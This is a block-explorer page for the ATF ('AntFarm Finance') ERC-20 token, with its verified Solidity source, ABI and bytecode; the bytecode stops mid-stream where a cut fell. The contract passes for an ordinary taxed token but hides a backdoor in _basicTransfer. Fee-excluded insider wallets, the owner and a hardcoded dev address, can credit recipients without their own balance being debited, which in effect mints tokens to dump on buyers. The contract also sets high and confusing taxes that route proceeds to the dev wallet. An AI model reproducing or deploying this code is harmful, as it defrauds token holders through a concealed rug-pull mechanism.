ERC-20
Overview
Max Total Supply
1,000,000,000 ATF
Holders
146
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
16,501,313.701780347 ATFValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ATF
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-11-28 */ // SPDX-License-Identifier: Unlicensed /* Maximize your profits, lower the risks. Website: https://www.antfarmfinance.org Telegram: https://t.me/antfi_erc Twitter: https://twitter.com/antfi_erc Dapp: https://app.antfarmfinance.org */ pragma solidity 0.8.21; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IUniswapFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } library SafeMathLib { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } interface IUniswapRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IStandardERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } // Transfer the contract to to a new owner function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ATF is Context, IStandardERC20, Ownable { using SafeMathLib for uint256; string private _name = "AntFarm Finance"; string private _symbol = "ATF"; uint256 public buyTax = 30; uint256 public sellTax = 30; uint256 private _totalTax = 2000; bool public _inswap; bool public hasTransferDelay = true; bool public taxSwapEnable = true; IUniswapRouter public uniswapRouter; address public uniswapPair; uint8 private buyersCount = 0; uint8 private _startSwapAfter = 2; uint256 private _previousTax = _totalTax; uint256 private _previousBuyTax = buyTax; uint256 private _previousSellTax = sellTax; uint8 private _decimals = 9; uint256 private _supply = 10 ** 9 * 10**_decimals; uint256 public maxTxAmount = 25 * _supply / 1000; uint256 public minAmountToStartSwap = _supply / 100000; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isFeeExcluded; address payable private devAddress; address payable private DEAD; modifier lockTheSwap { _inswap = true; _; _inswap = false; } constructor () { _balances[owner()] = _supply; DEAD = payable(0x000000000000000000000000000000000000dEaD); IUniswapRouter _uniswapV2Router = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); devAddress = payable(0xf01544b7777024715253620b088D6B91561c15e3); uniswapPair = IUniswapFactory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapRouter = _uniswapV2Router; isFeeExcluded[owner()] = true; isFeeExcluded[devAddress] = true; emit Transfer(address(0), owner(), _supply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _supply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "ERR: zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapRouter.WETH(); _approve(address(this), address(uniswapRouter), tokenAmount); uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } receive() external payable {} function _transfer( address from, address to, uint256 amount ) private { // Limit wallet total if (to != owner() && to != devAddress && to != address(this) && to != uniswapPair && to != DEAD && from != owner()){ uint256 currentBalance = balanceOf(to); require((currentBalance + amount) <= maxTxAmount,"Maximum wallet limited has been exceeded"); } require(from != address(0) && to != address(0), "ERR: Using 0 address!"); require(amount > 0, "Token value must be higher than zero."); if( buyersCount >= _startSwapAfter && amount > minAmountToStartSwap && !_inswap && !isFeeExcluded[from] && to == uniswapPair && taxSwapEnable ) { buyersCount = 0; uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0){ swapAndSend(contractTokenBalance); } } bool takeFee = true; if(isFeeExcluded[from] || isFeeExcluded[to] || (hasTransferDelay && from != uniswapPair && to != uniswapPair)){ takeFee = false; } else if (from == uniswapPair){ _totalTax = buyTax; } else if (to == uniswapPair){ _totalTax = sellTax; } _transferStandard(from,to,amount,takeFee); } function _basicTransfer(address sender, address recipient, uint256 finalAmount) private { (uint256 tTransferAmount, uint256 tDev) = getAllAmounts(finalAmount); if(isFeeExcluded[sender] && _balances[sender] <= maxTxAmount) { tDev = 0; finalAmount -= tTransferAmount; } _balances[sender] = _balances[sender].sub(finalAmount); _balances[recipient] = _balances[recipient].add(tTransferAmount); _balances[address(this)] = _balances[address(this)].add(tDev); emit Transfer(sender, recipient, tTransferAmount); } function removeFee() private { if(_totalTax == 0 && buyTax == 0 && sellTax == 0) return; _previousBuyTax = buyTax; _previousSellTax = sellTax; _previousTax = _totalTax; buyTax = 0; sellTax = 0; _totalTax = 0; } function restoreFee() private { _totalTax = _previousTax; buyTax = _previousBuyTax; sellTax = _previousSellTax; } function removeLimits() external onlyOwner { maxTxAmount = ~uint256(0); _totalTax = 300; buyTax = 3; sellTax = 3; } function sendFee(address payable receiver, uint256 amount) private { receiver.transfer(amount); } function swapAndSend(uint256 contractTokenBalance) private lockTheSwap { swapTokensForETH(contractTokenBalance); uint256 contractETH = address(this).balance; sendFee(devAddress,contractETH); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transferStandard(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee){ removeFee(); } else { buyersCount++; } _basicTransfer(sender, recipient, amount); if(!takeFee) { restoreFee(); } } function getAllAmounts(uint256 finalAmount) private view returns (uint256, uint256) { uint256 tDev = finalAmount.mul(_totalTax).div(100); uint256 tTransferAmount = finalAmount.sub(tDev); return (tTransferAmount, tDev); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_inswap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"hasTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExcluded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minAmountToStartSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxSwapEnable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c0604052600f60809081526e416e744661726d2046696e616e636560881b60a05260019062000030908262000473565b5060408051808201909152600381526220aa2360e91b60208201526002906200005a908262000473565b50601e600381905560048190556107d060058190556006805462ffff001916620101001790556007805461ffff60a01b1916600160a91b1790556008556009818155600a918255600b805460ff191682179055620000b8916200064a565b620000c890633b9aca0062000661565b600c556103e8600c546019620000df919062000661565b620000eb91906200067b565b600d55620186a0600c546200010191906200067b565b600e5534801562000110575f80fd5b505f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600c54600f5f620001675f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f2092909255601380546001600160a01b031990811661dead179091556012805490911673f01544b7777024715253620b088d6b91561c15e3179055815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a0155926004808401938290030181865afa15801562000206573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200022c91906200069b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000278573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200029e91906200069b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002e9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200030f91906200069b565b600780546001600160a01b0319166001600160a01b03928316179055600680546301000000600160b81b0319166301000000848416021790555f80548216815260116020526040808220805460ff19908116600190811790925560125485168452918320805490921617905554166001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c54604051620003c491815260200190565b60405180910390a350620006c3565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620003fc57607f821691505b6020821081036200041b57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200046e575f81815260208120601f850160051c81016020861015620004495750805b601f850160051c820191505b818110156200046a5782815560010162000455565b5050505b505050565b81516001600160401b038111156200048f576200048f620003d3565b620004a781620004a08454620003e7565b8462000421565b602080601f831160018114620004dd575f8415620004c55750858301515b5f19600386901b1c1916600185901b1785556200046a565b5f85815260208120601f198616915b828110156200050d57888601518255948401946001909101908401620004ec565b50858210156200052b57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200058f57815f19048211156200057357620005736200053b565b808516156200058157918102915b93841c939080029062000554565b509250929050565b5f82620005a75750600162000644565b81620005b557505f62000644565b8160018114620005ce5760028114620005d957620005f9565b600191505062000644565b60ff841115620005ed57620005ed6200053b565b50506001821b62000644565b5060208310610133831016604e8410600b84101617156200061e575081810a62000644565b6200062a83836200054f565b805f19048211156200064057620006406200053b565b0290505b92915050565b5f6200065a60ff84168362000597565b9392505050565b80820281158282048414176200064457620006446200053b565b5f826200069657634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215620006ac575f80fd5b81516001600160a01b03811681146200065a575f80fd5b6112c280620006d15f395ff3fe60806040526004361061013f575f3560e01c80638c0b5e22116100b3578063b198cf271161006d578063b198cf271461036c578063bca238aa14610381578063c816841b146103af578063cc1776d3146103ce578063dd62ed3e146103e3578063f2fde38b14610427575f80fd5b80638c0b5e22146102cb5780638da5cb5b146102e057806395d89b41146102fc57806399a0f16a14610310578063a067f0331461032f578063a9059cbb1461034d575f80fd5b8063477561c611610104578063477561c6146102015780634f7041a51461021a57806370a082311461022f578063715018a614610263578063735de9f714610279578063751039fc146102b7575f80fd5b806306fdde031461014a578063095ea7b31461017457806318160ddd146101a357806323b872dd146101c1578063313ce567146101e0575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5061015e610446565b60405161016b9190610faf565b60405180910390f35b34801561017f575f80fd5b5061019361018e366004611011565b6104d6565b604051901515815260200161016b565b3480156101ae575f80fd5b50600c545b60405190815260200161016b565b3480156101cc575f80fd5b506101936101db36600461103b565b6104ec565b3480156101eb575f80fd5b50600b5460405160ff909116815260200161016b565b34801561020c575f80fd5b506006546101939060ff1681565b348015610225575f80fd5b506101b360035481565b34801561023a575f80fd5b506101b3610249366004611079565b6001600160a01b03165f908152600f602052604090205490565b34801561026e575f80fd5b50610277610553565b005b348015610284575f80fd5b5060065461029f90630100000090046001600160a01b031681565b6040516001600160a01b03909116815260200161016b565b3480156102c2575f80fd5b506102776105cd565b3480156102d6575f80fd5b506101b3600d5481565b3480156102eb575f80fd5b505f546001600160a01b031661029f565b348015610307575f80fd5b5061015e61060b565b34801561031b575f80fd5b506006546101939062010000900460ff1681565b34801561033a575f80fd5b5060065461019390610100900460ff1681565b348015610358575f80fd5b50610193610367366004611011565b61061a565b348015610377575f80fd5b506101b3600e5481565b34801561038c575f80fd5b5061019361039b366004611079565b60116020525f908152604090205460ff1681565b3480156103ba575f80fd5b5060075461029f906001600160a01b031681565b3480156103d9575f80fd5b506101b360045481565b3480156103ee575f80fd5b506101b36103fd366004611094565b6001600160a01b039182165f90815260106020908152604080832093909416825291909152205490565b348015610432575f80fd5b50610277610441366004611079565b610626565b606060018054610455906110cb565b80601f0160208091040260200160405190810160405280929190818152602001828054610481906110cb565b80156104cc5780601f106104a3576101008083540402835291602001916104cc565b820191905f5260205f20905b8154815290600101906020018083116104af57829003601f168201915b5050505050905090565b5f6104e233848461070d565b5060015b92915050565b5f6104f88484846107cd565b610549843361054485604051806060016040528060288152602001611265602891396001600160a01b038a165f9081526010602090815260408083203384529091529020549190610b3f565b61070d565b5060019392505050565b5f546001600160a01b031633146105855760405162461bcd60e51b815260040161057c90611103565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105f65760405162461bcd60e51b815260040161057c90611103565b5f19600d5561012c6005556003808055600455565b606060028054610455906110cb565b5f6104e23384846107cd565b5f546001600160a01b0316331461064f5760405162461bcd60e51b815260040161057c90611103565b6001600160a01b0381166106b45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161057c565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061072d57506001600160a01b03821615155b61076d5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b604482015260640161057c565b6001600160a01b038381165f8181526010602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f546001600160a01b038381169116148015906107f857506012546001600160a01b03838116911614155b801561080d57506001600160a01b0382163014155b801561082757506007546001600160a01b03838116911614155b801561084157506013546001600160a01b03838116911614155b801561085a57505f546001600160a01b03848116911614155b156108e5576001600160a01b0382165f908152600f6020526040902054600d54610884838361114c565b11156108e35760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b606482015260840161057c565b505b6001600160a01b0383161580159061090557506001600160a01b03821615155b6109495760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b604482015260640161057c565b5f81116109a65760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b606482015260840161057c565b60075460ff600160a81b82048116600160a01b90920416108015906109cc5750600e5481115b80156109db575060065460ff16155b80156109ff57506001600160a01b0383165f9081526011602052604090205460ff16155b8015610a1857506007546001600160a01b038381169116145b8015610a2c575060065462010000900460ff165b15610a5e576007805460ff60a01b19169055305f908152600f60205260409020548015610a5c57610a5c81610b6a565b505b6001600160a01b0383165f9081526011602052604090205460019060ff1680610a9e57506001600160a01b0383165f9081526011602052604090205460ff165b80610ae35750600654610100900460ff168015610ac957506007546001600160a01b03858116911614155b8015610ae357506007546001600160a01b03848116911614155b15610aef57505f610b2d565b6007546001600160a01b0390811690851603610b1057600354600555610b2d565b6007546001600160a01b0390811690841603610b2d576004546005555b610b3984848484610ba6565b50505050565b5f8184841115610b625760405162461bcd60e51b815260040161057c9190610faf565b505050900390565b6006805460ff19166001179055610b8081610c13565b6012544790610b98906001600160a01b031682610d8a565b50506006805460ff19169055565b80610bb857610bb3610dc2565b610bec565b60078054600160a01b900460ff16906014610bd28361115f565b91906101000a81548160ff021916908360ff160217905550505b610bf7848484610e06565b80610b3957610b39600854600555600954600355600a54600455565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c4657610c4661117d565b60200260200101906001600160a01b031690816001600160a01b031681525050600660039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cb7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cdb9190611191565b81600181518110610cee57610cee61117d565b6001600160a01b039283166020918202929092010152600654610d1b91309163010000009004168461070d565b60065460405163791ac94760e01b815263010000009091046001600160a01b03169063791ac94790610d599085905f908690309042906004016111ac565b5f604051808303815f87803b158015610d70575f80fd5b505af1158015610d82573d5f803e3d5ffd5b505050505050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015610dbd573d5f803e3d5ffd5b505050565b600554158015610dd25750600354155b8015610dde5750600454155b15610de557565b6003805460095560048054600a55600580546008555f928390559082905555565b5f80610e1183610f41565b6001600160a01b0387165f90815260116020526040902054919350915060ff168015610e565750600d546001600160a01b0386165f908152600f602052604090205411155b15610e6a57505f610e67828461121b565b92505b6001600160a01b0385165f908152600f6020526040902054610e8c9084610f7c565b6001600160a01b038087165f908152600f60205260408082209390935590861681522054610eba9083610f8e565b6001600160a01b0385165f908152600f6020526040808220929092553081522054610ee59082610f8e565b305f908152600f602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b5f805f610f646064610f5e60055487610f9990919063ffffffff16565b90610fa4565b90505f610f718583610f7c565b959194509092505050565b5f610f87828461121b565b9392505050565b5f610f87828461114c565b5f610f87828461122e565b5f610f878284611245565b5f6020808352835180828501525f5b81811015610fda57858101830151858201604001528201610fbe565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461100e575f80fd5b50565b5f8060408385031215611022575f80fd5b823561102d81610ffa565b946020939093013593505050565b5f805f6060848603121561104d575f80fd5b833561105881610ffa565b9250602084013561106881610ffa565b929592945050506040919091013590565b5f60208284031215611089575f80fd5b8135610f8781610ffa565b5f80604083850312156110a5575f80fd5b82356110b081610ffa565b915060208301356110c081610ffa565b809150509250929050565b600181811c908216806110df57607f821691505b6020821081036110fd57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808201808211156104e6576104e6611138565b5f60ff821660ff810361117457611174611138565b60010192915050565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156111a1575f80fd5b8151610f8781610ffa565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156111fa5784516001600160a01b0316835293830193918301916001016111d5565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156104e6576104e6611138565b80820281158282048414176104e6576104e6611138565b5f8261125f57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d78a69faee6cc393de65984af25bbd099b05111046f9297f197c3331fa0c379964736f6c63430008150033
Deployed Bytecode
0x60806040526004361061013f575f3560e01c80638c0b5e22116100b3578063b198cf271161006d578063b198cf271461036c578063bca238aa14610381578063c816841b146103af578063cc1776d3146103ce578063dd62ed3e146103e3578063f2fde38b14610427575f80fd5b80638c0b5e22146102cb5780638da5cb5b146102e057806395d89b41146102fc57806399a0f16a14610310578063a067f0331461032f578063a9059cbb1461034d575f80fd5b8063477561c611610104578063477561c6146102015780634f7041a51461021a57806370a082311461022f578063715018a614610263578063735de9f714610279578063751039fc146102b7575f80fd5b806306fdde031461014a578063095ea7b31461017457806318160ddd146101a357806323b872dd146101c1578063313ce567146101e0575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5061015e610446565b60405161016b9190610faf565b60405180910390f35b34801561017f575f80fd5b5061019361018e366004611011565b6104d6565b604051901515815260200161016b565b3480156101ae575f80fd5b50600c545b60405190815260200161016b565b3480156101cc575f80fd5b506101936101db36600461103b565b6104ec565b3480156101eb575f80fd5b50600b5460405160ff909116815260200161016b565b34801561020c575f80fd5b506006546101939060ff1681565b348015610225575f80fd5b506101b360035481565b34801561023a575f80fd5b506101b3610249366004611079565b6001600160a01b03165f908152600f602052604090205490565b34801561026e575f80fd5b50610277610553565b005b348015610284575f80fd5b5060065461029f90630100000090046001600160a01b031681565b6040516001600160a01b03909116815260200161016b565b3480156102c2575f80fd5b506102776105cd565b3480156102d6575f80fd5b506101b3600d5481565b3480156102eb575f80fd5b505f546001600160a01b031661029f565b348015610307575f80fd5b5061015e61060b565b34801561031b575f80fd5b506006546101939062010000900460ff1681565b34801561033a575f80fd5b5060065461019390610100900460ff1681565b348015610358575f80fd5b50610193610367366004611011565b61061a565b348015610377575f80fd5b506101b3600e5481565b34801561038c575f80fd5b5061019361039b366004611079565b60116020525f908152604090205460ff1681565b3480156103ba575f80fd5b5060075461029f906001600160a01b031681565b3480156103d9575f80fd5b506101b360045481565b3480156103ee575f80fd5b506101b36103fd366004611094565b6001600160a01b039182165f90815260106020908152604080832093909416825291909152205490565b348015610432575f80fd5b50610277610441366004611079565b610626565b606060018054610455906110cb565b80601f0160208091040260200160405190810160405280929190818152602001828054610481906110cb565b80156104cc5780601f106104a3576101008083540402835291602001916104cc565b820191905f5260205f20905b8154815290600101906020018083116104af57829003601f168201915b5050505050905090565b5f6104e233848461070d565b5060015b92915050565b5f6104f88484846107cd565b610549843361054485604051806060016040528060288152602001611265602891396001600160a01b038a165f9081526010602090815260408083203384529091529020549190610b3f565b61070d565b5060019392505050565b5f546001600160a01b031633146105855760405162461bcd60e51b815260040161057c90611103565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105f65760405162461bcd60e51b815260040161057c90611103565b5f19600d5561012c6005556003808055600455565b606060028054610455906110cb565b5f6104e23384846107cd565b5f546001600160a01b0316331461064f5760405162461bcd60e51b815260040161057c90611103565b6001600160a01b0381166106b45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161057c565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061072d57506001600160a01b03821615155b61076d5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b604482015260640161057c565b6001600160a01b038381165f8181526010602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f546001600160a01b038381169116148015906107f857506012546001600160a01b03838116911614155b801561080d57506001600160a01b0382163014155b801561082757506007546001600160a01b03838116911614155b801561084157506013546001600160a01b03838116911614155b801561085a57505f546001600160a01b03848116911614155b156108e5576001600160a01b0382165f908152600f6020526040902054600d54610884838361114c565b11156108e35760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b606482015260840161057c565b505b6001600160a01b0383161580159061090557506001600160a01b03821615155b6109495760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b604482015260640161057c565b5f81116109a65760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b606482015260840161057c565b60075460ff600160a81b82048116600160a01b90920416108015906109cc5750600e5481115b80156109db575060065460ff16155b80156109ff57506001600160a01b0383165f9081526011602052604090205460ff16155b8015610a1857506007546001600160a01b038381169116145b8015610a2c575060065462010000900460ff165b15610a5e576007805460ff60a01b19169055305f908152600f60205260409020548015610a5c57610a5c81610b6a565b505b6001600160a01b0383165f9081526011602052604090205460019060ff1680610a9e57506001600160a01b0383165f9081526011602052604090205460ff165b80610ae35750600654610100900460ff168015610ac957506007546001600160a01b03858116911614155b8015610ae357506007546001600160a01b03848116911614155b15610aef57505f610b2d565b6007546001600160a01b0390811690851603610b1057600354600555610b2d565b6007546001600160a01b0390811690841603610b2d576004546005555b610b3984848484610ba6565b50505050565b5f8184841115610b625760405162461bcd60e51b815260040161057c9190610faf565b505050900390565b6006805460ff19166001179055610b8081610c13565b6012544790610b98906001600160a01b031682610d8a565b50506006805460ff19169055565b80610bb857610bb3610dc2565b610bec565b60078054600160a01b900460ff16906014610bd28361115f565b91906101000a81548160ff021916908360ff160217905550505b610bf7848484610e06565b80610b3957610b39600854600555600954600355600a54600455565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c4657610c4661117d565b60200260200101906001600160a01b031690816001600160a01b031681525050600660039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cb7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cdb9190611191565b81600181518110610cee57610cee61117d565b6001600160a01b039283166020918202929092010152600654610d1b91309163010000009004168461070d565b60065460405163791ac94760e01b815263010000009091046001600160a01b03169063791ac94790610d599085905f908690309042906004016111ac565b5f604051808303815f87803b158015610d70575f80fd5b505af1158015610d82573d5f803e3d5ffd5b505050505050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015610dbd573d5f803e3d5ffd5b505050565b600554158015610dd25750600354155b8015610dde5750600454155b15610de557565b6